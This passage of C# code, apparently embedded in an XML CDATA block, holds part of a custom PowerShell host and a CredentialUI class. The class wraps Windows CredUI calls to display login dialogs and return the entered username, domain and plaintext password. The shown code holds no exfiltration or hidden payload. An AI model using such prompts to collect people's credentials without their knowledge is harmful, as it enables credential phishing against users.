scrolled. /// A Coordinates structure that /// identifies the upper-left coordinates of the region of the /// screen to receive the source region contents. /// A Rectangle structure that identifies the /// region of the screen to include in the operation. /// A BufferCell structure that identifies the /// character and attributes to be used to fill all cells within /// the intersection of the source rectangle and clip rectangle /// that are left "empty" by the move. public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill) { throw new NotImplementedException("The ScrollBufferContents() method is not implemented by MyRawUserInterface."); } /// /// Copies a given character to a region of the screen buffer based /// on the coordinates of the region. This method is not implemented. /// The call fails with an exception. /// /// The coordnates of the region. /// A BufferCell structure that defines the fill character. public override void SetBufferContents(Coordinates origin, BufferCell[,] contents) { throw new NotImplementedException("The SetBufferContents() method is not implemented by MyRawUserInterface."); } /// /// Copies a given character to a rectangular region of the screen /// buffer. This method is not implemented. The call fails with an /// exception. /// /// A Rectangle structure that defines the area to be filled. /// A BufferCell structure that defines the fill character. public override void SetBufferContents(Rectangle rectangle, BufferCell fill) { throw new NotImplementedException("The SetBufferContents() method is not implemented by MyRawUserInterface."); } } public static class CredentialUI { /// /// Show dialog box for generic credential. /// /// /// /// public static PromptCredentialsResult Prompt(String caption, String message) { return Prompt(caption, message, null, null); } /// /// Show dialog box for generic credential. /// /// /// /// /// public static PromptCredentialsResult Prompt(String caption, String message, IntPtr hwndParent) { return Prompt(caption, message, hwndParent, null, null); } /// /// Show dialog box for generic credential. /// /// /// /// /// /// public static PromptCredentialsResult Prompt(String caption, String message, String userName, String password) { return Prompt(caption, message, IntPtr.Zero, userName, password); } /// /// Show dialog box for generic credential. /// /// /// /// /// /// /// public static PromptCredentialsResult Prompt(String caption, String message, IntPtr hwndParent, String userName, String password) { if (Environment.OSVersion.Version.Major >= 6) { // Windows Vista or 2008 or 7 or later return PromptForWindowsCredentials(caption, message, hwndParent, userName, password); } else { // Windows 2000 or 2003 or XP return PromptForCredentials(Environment.UserDomainName, caption, message, hwndParent, userName, password); } } /// /// Show dialog box for generic credential. /// /// /// /// public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message) { return PromptWithSecureString(caption, message, IntPtr.Zero); } /// /// Show dialog box for generic credential. /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, IntPtr hwndParent) { return PromptWithSecureString(caption, message, IntPtr.Zero, null, null); } /// /// Show dialog box for generic credential. /// /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, SecureString userName, SecureString password) { return PromptWithSecureString(caption, message, IntPtr.Zero, userName, password); } /// /// Show dialog box for generic credential. /// /// /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptWithSecureString(String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password) { if (Environment.OSVersion.Version.Major >= 6) { // Windows Vista or 2008 or 7 or later return PromptForWindowsCredentialsWithSecureString(caption, message, hwndParent, userName, password); } else { // Windows 2000 or 2003 or XP return PromptForCredentialsWithSecureString(Environment.UserDomainName, caption, message, hwndParent, userName, password); } } #region Method: PromptForWindowsCredentials /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message) { return PromptForWindowsCredentials(caption, message, String.Empty, String.Empty); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, IntPtr hwndParent) { return PromptForWindowsCredentials(caption, message, hwndParent); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// /// public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, String userName, String password) { return PromptForWindowsCredentials(caption, message, IntPtr.Zero, userName, password); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// /// /// public static PromptCredentialsResult PromptForWindowsCredentials(String caption, String message, IntPtr hwndParent, String userName, String password) { PromptForWindowsCredentialsOptions options = new PromptForWindowsCredentialsOptions(caption, message) { HwndParent = hwndParent, IsSaveChecked = false }; return PromptForWindowsCredentials(options, userName, password); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// public static PromptCredentialsResult PromptForWindowsCredentials(PromptForWindowsCredentialsOptions options, String userName, String password) { if (String.IsNullOrEmpty(userName) && String.IsNullOrEmpty(password)) return PromptForWindowsCredentialsInternal(options, null, null); using (SecureString userNameS = new SecureString()) using (SecureString passwordS = new SecureString()) { if (!String.IsNullOrEmpty(userName)) { foreach (var c in userName) userNameS.AppendChar(c); } if (!String.IsNullOrEmpty(password)) { foreach (var c in password) passwordS.AppendChar(c); } userNameS.MakeReadOnly(); passwordS.MakeReadOnly(); return PromptForWindowsCredentialsInternal(options, userNameS, passwordS); } } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message) { return PromptForWindowsCredentialsWithSecureString(caption, message, IntPtr.Zero, null, null); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr hwndParent) { return PromptForWindowsCredentialsWithSecureString(caption, message, hwndParent, null, null); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, SecureString userName, SecureString password) { return PromptForWindowsCredentialsWithSecureString(caption, message, IntPtr.Zero, userName, password); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password) { PromptForWindowsCredentialsOptions options = new PromptForWindowsCredentialsOptions(caption, message) { HwndParent = hwndParent, IsSaveChecked = false }; return PromptForWindowsCredentialsWithSecureString(options, userName, password); } /// /// Creates and displays a configurable dialog box that allows users to supply credential information by using any credential provider installed on the local computer. /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForWindowsCredentialsWithSecureString(PromptForWindowsCredentialsOptions options, SecureString userName, SecureString password) { return PromptForWindowsCredentialsInternal(options, userName, password); } private static T PromptForWindowsCredentialsInternal(PromptForWindowsCredentialsOptions options, SecureString userName, SecureString password) where T : class, IPromptCredentialsResult { NativeMethods.CREDUI_INFO creduiInfo = new NativeMethods.CREDUI_INFO() { pszCaptionText = options.Caption, pszMessageText = options.Message, hwndParent = options.HwndParent, hbmBanner = options.HbmBanner }; PromptForWindowsCredentialsFlag credentialsFlag = options.Flags; IntPtr userNamePtr = IntPtr.Zero; IntPtr passwordPtr = IntPtr.Zero; Int32 authPackage = 0; IntPtr outAuthBuffer = IntPtr.Zero; Int32 outAuthBufferSize = 0; IntPtr inAuthBuffer = IntPtr.Zero; Int32 inAuthBufferSize = 0; Boolean save = options.IsSaveChecked; try { if (userName != null || password != null) { if (userName == null) userName = new SecureString(); if (password == null) password = new SecureString(); userNamePtr = Marshal.SecureStringToCoTaskMemUnicode(userName); passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password); } // prefilled with UserName or Password if (userNamePtr != IntPtr.Zero || passwordPtr != IntPtr.Zero) { inAuthBufferSize = 1024; inAuthBuffer = Marshal.AllocCoTaskMem(inAuthBufferSize); if ( !NativeMethods.CredPackAuthenticationBuffer(0x00, userNamePtr, passwordPtr, inAuthBuffer, ref inAuthBufferSize)) { var win32Error = Marshal.GetLastWin32Error(); if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/) { inAuthBuffer = Marshal.ReAllocCoTaskMem(inAuthBuffer, inAuthBufferSize); if ( !NativeMethods.CredPackAuthenticationBuffer(0x00, userNamePtr, passwordPtr, inAuthBuffer, ref inAuthBufferSize)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } } else { throw new Win32Exception(win32Error); } } } var retVal = NativeMethods.CredUIPromptForWindowsCredentials(creduiInfo, options.AuthErrorCode, ref authPackage, inAuthBuffer, inAuthBufferSize, out outAuthBuffer, out outAuthBufferSize, ref save, credentialsFlag ); switch (retVal) { case NativeMethods.CredUIPromptReturnCode.Cancelled: return null; case NativeMethods.CredUIPromptReturnCode.Success: break; default: throw new Win32Exception((Int32)retVal); } if (typeof(T) == typeof(PromptCredentialsSecureStringResult)) { var credResult = NativeMethods.CredUnPackAuthenticationBufferWrapSecureString(true, outAuthBuffer, outAuthBufferSize); credResult.IsSaveChecked = save; return credResult as T; } else { var credResult = NativeMethods.CredUnPackAuthenticationBufferWrap(true, outAuthBuffer, outAuthBufferSize); credResult.IsSaveChecked = save; return credResult as T; } } finally { if (inAuthBuffer != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(inAuthBuffer); if (outAuthBuffer != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(outAuthBuffer); if (userNamePtr != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr); if (passwordPtr != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr); } } #endregion #region Method: PromptForCredentials /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message) { return PromptForCredentials(new PromptForCredentialsOptions(targetName, caption, message)); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// /// public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, IntPtr hwndParent) { return PromptForCredentials(targetName, caption, message, hwndParent); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// /// /// public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, String userName, String password) { return PromptForCredentials(targetName, caption, message, IntPtr.Zero, userName, password); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// /// /// /// public static PromptCredentialsResult PromptForCredentials(String targetName, String caption, String message, IntPtr hwndParent, String userName, String password) { return PromptForCredentials(new PromptForCredentialsOptions(targetName, caption, message) { HwndParent = hwndParent }, userName, password); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// public static PromptCredentialsResult PromptForCredentials(PromptForCredentialsOptions options) { return PromptForCredentials(options, null, null); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// public static PromptCredentialsResult PromptForCredentials(PromptForCredentialsOptions options, String userName, String password) { using (SecureString userNameS = new SecureString()) using (SecureString passwordS = new SecureString()) { if (!String.IsNullOrEmpty(userName)) { foreach (var c in userName) userNameS.AppendChar(c); } if (!String.IsNullOrEmpty(password)) { foreach (var c in password) passwordS.AppendChar(c); } userNameS.MakeReadOnly(); passwordS.MakeReadOnly(); return PromptForCredentialsInternal(options, userNameS, passwordS); } } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message) { return PromptForCredentialsWithSecureString(new PromptForCredentialsOptions(targetName, caption, message)); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, IntPtr hwndParent) { return PromptForCredentialsWithSecureString(targetName, caption, message, hwndParent, null, null); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, SecureString userName, SecureString password) { return PromptForCredentialsWithSecureString(targetName, caption, message, IntPtr.Zero, userName, password); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(String targetName, String caption, String message, IntPtr hwndParent, SecureString userName, SecureString password) { return PromptForCredentialsWithSecureString(new PromptForCredentialsOptions(targetName, caption, message) { HwndParent = hwndParent }, userName, password); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(PromptForCredentialsOptions options) { return PromptForCredentialsInternal(options, null, null); } /// /// Creates and displays a configurable dialog box that accepts credentials information from a user. /// /// /// /// /// public static PromptCredentialsSecureStringResult PromptForCredentialsWithSecureString(PromptForCredentialsOptions options, SecureString userName, SecureString password) { return PromptForCredentialsInternal(options, userName, password); } private static T PromptForCredentialsInternal(PromptForCredentialsOptions options, SecureString userName, SecureString password) where T : class, IPromptCredentialsResult { if (options == null) throw new ArgumentNullException("options"); if (userName != null && (userName.Length > NativeMethods.CREDUI_MAX_USERNAME_LENGTH)) throw new ArgumentOutOfRangeException("userName", "CREDUI_MAX_USERNAME_LENGTH"); if (password != null && (password.Length > NativeMethods.CREDUI_MAX_PASSWORD_LENGTH)) throw new ArgumentOutOfRangeException("password", "CREDUI_MAX_PASSWORD_LENGTH"); NativeMethods.CREDUI_INFO creduiInfo = new NativeMethods.CREDUI_INFO() { pszCaptionText = options.Caption, pszMessageText = options.Message, hwndParent = options.HwndParent, hbmBanner = options.HbmBanner }; IntPtr userNamePtr = IntPtr.Zero; IntPtr passwordPtr = IntPtr.Zero; Boolean save = options.IsSaveChecked; try { // The maximum number of characters that can be copied to (pszUserName|szPassword) including the terminating null character. if (userName == null) { userNamePtr = Marshal.AllocCoTaskMem((NativeMethods.CREDUI_MAX_USERNAME_LENGTH + 1) * sizeof(Int16)); Marshal.WriteInt16(userNamePtr, 0, 0x00); } else { userNamePtr = Marshal.SecureStringToCoTaskMemUnicode(userName); userNamePtr = Marshal.ReAllocCoTaskMem(userNamePtr, (NativeMethods.CREDUI_MAX_USERNAME_LENGTH + 1) * sizeof(Int16)); } if (password == null) { passwordPtr = Marshal.AllocCoTaskMem((NativeMethods.CREDUI_MAX_PASSWORD_LENGTH + 1) * sizeof(Int16)); Marshal.WriteInt16(passwordPtr, 0, 0x00); } else { passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password); passwordPtr = Marshal.ReAllocCoTaskMem(passwordPtr, (NativeMethods.CREDUI_MAX_PASSWORD_LENGTH + 1) * sizeof(Int16)); } Marshal.WriteInt16(userNamePtr, NativeMethods.CREDUI_MAX_USERNAME_LENGTH * sizeof(Int16), 0x00); Marshal.WriteInt16(passwordPtr, NativeMethods.CREDUI_MAX_PASSWORD_LENGTH * sizeof(Int16), 0x00); var retVal = NativeMethods.CredUIPromptForCredentials(creduiInfo, options.TargetName, IntPtr.Zero, options.AuthErrorCode, userNamePtr, NativeMethods.CREDUI_MAX_USERNAME_LENGTH, passwordPtr, NativeMethods.CREDUI_MAX_PASSWORD_LENGTH, ref save, options.Flags); switch (retVal) { case NativeMethods.CredUIPromptReturnCode.Cancelled: return null; case NativeMethods.CredUIPromptReturnCode.InvalidParameter: throw new Win32Exception((Int32)retVal); case NativeMethods.CredUIPromptReturnCode.InvalidFlags: throw new Win32Exception((Int32)retVal); case NativeMethods.CredUIPromptReturnCode.Success: break; default: throw new Win32Exception((Int32)retVal); } if (typeof(T) == typeof(PromptCredentialsSecureStringResult)) { return new PromptCredentialsSecureStringResult { UserName = NativeMethods.PtrToSecureString(userNamePtr), Password = NativeMethods.PtrToSecureString(passwordPtr), IsSaveChecked = save } as T; } else { return new PromptCredentialsResult { UserName = Marshal.PtrToStringUni(userNamePtr), Password = Marshal.PtrToStringUni(passwordPtr), IsSaveChecked = save } as T; } } finally { if (userNamePtr != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr); if (passwordPtr != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr); } } #endregion /// /// /// [Flags] public enum PromptForWindowsCredentialsFlag { /// /// Plain text username/password is being requested /// CREDUIWIN_GENERIC = 0x00000001, /// /// Show the Save Credential checkbox /// CREDUIWIN_CHECKBOX = 0x00000002, /// /// Only Cred Providers that support the input auth package should enumerate /// CREDUIWIN_AUTHPACKAGE_ONLY = 0x00000010, /// /// Only the incoming cred for the specific auth package should be enumerated /// CREDUIWIN_IN_CRED_ONLY = 0x00000020, /// /// Cred Providers should enumerate administrators only /// CREDUIWIN_ENUMERATE_ADMINS = 0x00000100, /// /// Only the incoming cred for the specific auth package should be enumerated /// CREDUIWIN_ENUMERATE_CURRENT_USER = 0x00000200, /// /// The Credui prompt should be displayed on the secure desktop /// CREDUIWIN_SECURE_PROMPT = 0x00001000, /// /// Tell the credential provider it should be packing its Auth Blob 32 bit even though it is running 64 native /// CREDUIWIN_PACK_32_WOW = 0x10000000 } /// /// /// [Flags] public enum PromptForCredentialsFlag { /// /// indicates the username is valid, but password is not /// CREDUI_FLAGS_INCORRECT_PASSWORD = 0x00001, /// /// Do not show "Save" checkbox, and do not persist credentials /// CREDUI_FLAGS_DO_NOT_PERSIST = 0x00002, /// /// Populate list box with admin accounts /// CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 0x00004, /// /// do not include certificates in the drop list /// CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 0x00008, /// /// /// CREDUI_FLAGS_REQUIRE_CERTIFICATE = 0x00010, /// /// /// CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 0x00040, /// /// /// CREDUI_FLAGS_ALWAYS_SHOW_UI = 0x00080, /// /// /// CREDUI_FLAGS_REQUIRE_SMARTCARD = 0x00100, /// /// /// CREDUI_FLAGS_PASSWORD_ONLY_OK = 0x00200, /// /// /// CREDUI_FLAGS_VALIDATE_USERNAME = 0x00400, /// /// /// CREDUI_FLAGS_COMPLETE_USERNAME = 0x00800, /// /// Do not show "Save" checkbox, but persist credentials anyway /// CREDUI_FLAGS_PERSIST = 0x01000, /// /// /// CREDUI_FLAGS_SERVER_CREDENTIAL = 0x04000, /// /// do not persist unless caller later confirms credential via CredUIConfirmCredential() api /// CREDUI_FLAGS_EXPECT_CONFIRMATION = 0x20000, /// /// Credential is a generic credential /// CREDUI_FLAGS_GENERIC_CREDENTIALS = 0x40000, /// /// Credential has a username as the target /// CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 0x80000, /// /// don't allow the user to change the supplied username /// CREDUI_FLAGS_KEEP_USERNAME = 0x100000 } /// /// /// public class PromptForWindowsCredentialsOptions { private String _caption; private String _message; public String Caption { get { return _caption; } set { if (value.Length > NativeMethods.CREDUI_MAX_CAPTION_LENGTH) throw new ArgumentOutOfRangeException("value"); _caption = value; } } public String Message { get { return _message; } set { if (value.Length > NativeMethods.CREDUI_MAX_MESSAGE_LENGTH) throw new ArgumentOutOfRangeException("value"); _message = value; } } public IntPtr HwndParent { get; set; } public IntPtr HbmBanner { get; set; } public Boolean IsSaveChecked { get; set; } public PromptForWindowsCredentialsFlag Flags { get; set; } public Int32 AuthErrorCode { get; set; } public PromptForWindowsCredentialsOptions(String caption, String message) { if (String.IsNullOrEmpty(caption)) throw new ArgumentNullException("caption"); if (String.IsNullOrEmpty(message)) throw new ArgumentNullException("message"); Caption = caption; Message = message; Flags = PromptForWindowsCredentialsFlag.CREDUIWIN_GENERIC; } } /// /// /// public class PromptForCredentialsOptions { private String _caption; private String _message; public String Caption { get { return _caption; } set { if (value.Length > NativeMethods.CREDUI_MAX_CAPTION_LENGTH) throw new ArgumentOutOfRangeException("value"); _caption = value; } } public String Message { get { return _message; } set { if (value.Length > NativeMethods.CREDUI_MAX_MESSAGE_LENGTH) throw new ArgumentOutOfRangeException("value"); _message = value; } } public String TargetName { get; set; } public IntPtr HwndParent { get; set; } public IntPtr HbmBanner { get; set; } public Boolean IsSaveChecked { get; set; } public PromptForCredentialsFlag Flags { get; set; } public Int32 AuthErrorCode { get; set; } public PromptForCredentialsOptions(String targetName, String caption, String message) { // target name may be empty. if (String.IsNullOrEmpty(caption)) throw new ArgumentNullException("caption"); if (String.IsNullOrEmpty(message)) throw new ArgumentNullException("message"); TargetName = targetName; Caption = caption; Message = message; Flags = PromptForCredentialsFlag.CREDUI_FLAGS_GENERIC_CREDENTIALS | PromptForCredentialsFlag.CREDUI_FLAGS_DO_NOT_PERSIST; } } private static class NativeMethods { public const Int32 CREDUI_MAX_MESSAGE_LENGTH = 32767; public const Int32 CREDUI_MAX_CAPTION_LENGTH = 128; public const Int32 CRED_MAX_USERNAME_LENGTH = (256 + 1 + 256); public const Int32 CREDUI_MAX_USERNAME_LENGTH = CRED_MAX_USERNAME_LENGTH; public const Int32 CREDUI_MAX_PASSWORD_LENGTH = (512 / 2); public enum CredUIPromptReturnCode { Success = 0, Cancelled = 1223, InvalidParameter = 87, InvalidFlags = 1004 } [StructLayout(LayoutKind.Sequential)] public class CREDUI_INFO { public Int32 cbSize; public IntPtr hwndParent; [MarshalAs(UnmanagedType.LPWStr)] public String pszMessageText; [MarshalAs(UnmanagedType.LPWStr)] public String pszCaptionText; public IntPtr hbmBanner; public CREDUI_INFO() { cbSize = Marshal.SizeOf(typeof(CREDUI_INFO)); } } // // CredUIPromptForCredentials ------------------------------------- // [DllImport("credui.dll", CharSet = CharSet.Unicode)] public static extern CredUIPromptReturnCode CredUIPromptForCredentials( CREDUI_INFO pUiInfo, String pszTargetName, IntPtr Reserved, Int32 dwAuthError, IntPtr pszUserName, Int32 ulUserNameMaxChars, IntPtr pszPassword, Int32 ulPasswordMaxChars, ref Boolean pfSave, PromptForCredentialsFlag dwFlags ); // // CredUIPromptForWindowsCredentials ------------------------------ // [DllImport("credui.dll", CharSet = CharSet.Unicode)] public static extern CredUIPromptReturnCode CredUIPromptForWindowsCredentials( CREDUI_INFO pUiInfo, Int32 dwAuthError, ref Int32 pulAuthPackage, IntPtr pvInAuthBuffer, Int32 ulInAuthBufferSize, out IntPtr ppvOutAuthBuffer, out Int32 pulOutAuthBufferSize, ref Boolean pfSave, PromptForWindowsCredentialsFlag dwFlags ); [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean CredPackAuthenticationBuffer( Int32 dwFlags, String pszUserName, String pszPassword, IntPtr pPackedCredentials, ref Int32 pcbPackedCredentials ); [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean CredPackAuthenticationBuffer( Int32 dwFlags, IntPtr pszUserName, IntPtr pszPassword, IntPtr pPackedCredentials, ref Int32 pcbPackedCredentials ); [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean CredUnPackAuthenticationBuffer( Int32 dwFlags, IntPtr pAuthBuffer, Int32 cbAuthBuffer, StringBuilder pszUserName, ref Int32 pcchMaxUserName, StringBuilder pszDomainName, ref Int32 pcchMaxDomainame, StringBuilder pszPassword, ref Int32 pcchMaxPassword ); [DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean CredUnPackAuthenticationBuffer( Int32 dwFlags, IntPtr pAuthBuffer, Int32 cbAuthBuffer, IntPtr pszUserName, ref Int32 pcchMaxUserName, IntPtr pszDomainName, ref Int32 pcchMaxDomainame, IntPtr pszPassword, ref Int32 pcchMaxPassword ); public static PromptCredentialsResult CredUnPackAuthenticationBufferWrap(Boolean decryptProtectedCredentials, IntPtr authBufferPtr, Int32 authBufferSize) { StringBuilder sbUserName = new StringBuilder(255); StringBuilder sbDomainName = new StringBuilder(255); StringBuilder sbPassword = new StringBuilder(255); Int32 userNameSize = sbUserName.Capacity; Int32 domainNameSize = sbDomainName.Capacity; Int32 passwordSize = sbPassword.Capacity; //#define CRED_PACK_PROTECTED_CREDENTIALS 0x1 //#define CRED_PACK_WOW_BUFFER 0x2 //#define CRED_PACK_GENERIC_CREDENTIALS 0x4 Boolean result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), authBufferPtr, authBufferSize, sbUserName, ref userNameSize, sbDomainName, ref domainNameSize, sbPassword, ref passwordSize ); if (!result) { var win32Error = Marshal.GetLastWin32Error(); if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/) { sbUserName.Capacity = userNameSize; sbPassword.Capacity = passwordSize; sbDomainName.Capacity = domainNameSize; result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), authBufferPtr, authBufferSize, sbUserName, ref userNameSize, sbDomainName, ref domainNameSize, sbPassword, ref passwordSize ); if (!result) { throw new Win32Exception(Marshal.GetLastWin32Error()); } } else { throw new Win32Exception(win32Error); } } return new PromptCredentialsResult { UserName = sbUserName.ToString(), DomainName = sbDomainName.ToString(), Password = sbPassword.ToString() }; } public static PromptCredentialsSecureStringResult CredUnPackAuthenticationBufferWrapSecureString(Boolean decryptProtectedCredentials, IntPtr authBufferPtr, Int32 authBufferSize) { Int32 userNameSize = 255; Int32 domainNameSize = 255; Int32 passwordSize = 255; IntPtr userNamePtr = IntPtr.Zero; IntPtr domainNamePtr = IntPtr.Zero; IntPtr passwordPtr = IntPtr.Zero; try { userNamePtr = Marshal.AllocCoTaskMem(userNameSize); domainNamePtr = Marshal.AllocCoTaskMem(domainNameSize); passwordPtr = Marshal.AllocCoTaskMem(passwordSize); //#define CRED_PACK_PROTECTED_CREDENTIALS 0x1 //#define CRED_PACK_WOW_BUFFER 0x2 //#define CRED_PACK_GENERIC_CREDENTIALS 0x4 Boolean result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), authBufferPtr, authBufferSize, userNamePtr, ref userNameSize, domainNamePtr, ref domainNameSize, passwordPtr, ref passwordSize ); if (!result) { var win32Error = Marshal.GetLastWin32Error(); if (win32Error == 122 /*ERROR_INSUFFICIENT_BUFFER*/) { userNamePtr = Marshal.ReAllocCoTaskMem(userNamePtr, userNameSize); domainNamePtr = Marshal.ReAllocCoTaskMem(domainNamePtr, domainNameSize); passwordPtr = Marshal.ReAllocCoTaskMem(passwordPtr, passwordSize); result = CredUnPackAuthenticationBuffer((decryptProtectedCredentials ? 0x1 : 0x0), authBufferPtr, authBufferSize, userNamePtr, ref userNameSize, domainNamePtr, ref domainNameSize, passwordPtr, ref passwordSize); if (!result) { throw new Win32Exception(Marshal.GetLastWin32Error()); } } else { throw new Win32Exception(win32Error); } } return new PromptCredentialsSecureStringResult { UserName = PtrToSecureString(userNamePtr, userNameSize), DomainName = PtrToSecureString(domainNamePtr, domainNameSize), Password = PtrToSecureString(passwordPtr, passwordSize) }; } finally { if (userNamePtr != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(userNamePtr); if (domainNamePtr != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(domainNamePtr); if (passwordPtr != IntPtr.Zero) Marshal.ZeroFreeCoTaskMemUnicode(passwordPtr); } } #region Utility Methods public static SecureString PtrToSecureString(IntPtr p) { SecureString s = new SecureString(); Int32 i = 0; while (true) { Char c = (Char)Marshal.ReadInt16(p, ((i++) * sizeof(Int16))); if (c == '\u0000') break; s.AppendChar(c); } s.MakeReadOnly(); return s; } public static SecureString PtrToSecureString(IntPtr p, Int32 length) { SecureString s = new SecureString(); for (var i = 0; i < length; i++) s.AppendChar((Char)Marshal.ReadInt16(p, i * sizeof(Int16))); s.MakeReadOnly(); return s; } #endregion } } /// /// /// public interface IPromptCredentialsResult { } /// /// /// public class PromptCredentialsResult : IPromptCredentialsResult { public String UserName { get; internal set; } public String DomainName { get; internal set; } public String Password { get; internal set; } public Boolean IsSaveChecked { get; set; } } /// /// /// public class PromptCredentialsSecureStringResult : IPromptCredentialsResult { public SecureString UserName { get; internal set; } public SecureString DomainName { get; internal set; } public SecureString Password { get; internal set; } public Boolean IsSaveChecked { get; set; } } public static class ExtensionMethods { public static SecureString ToSecureString(this string src) { SecureString result = new SecureString(); src.ToCharArray().ToList().ForEach(c => result.AppendChar(c)); return result; } } ]]>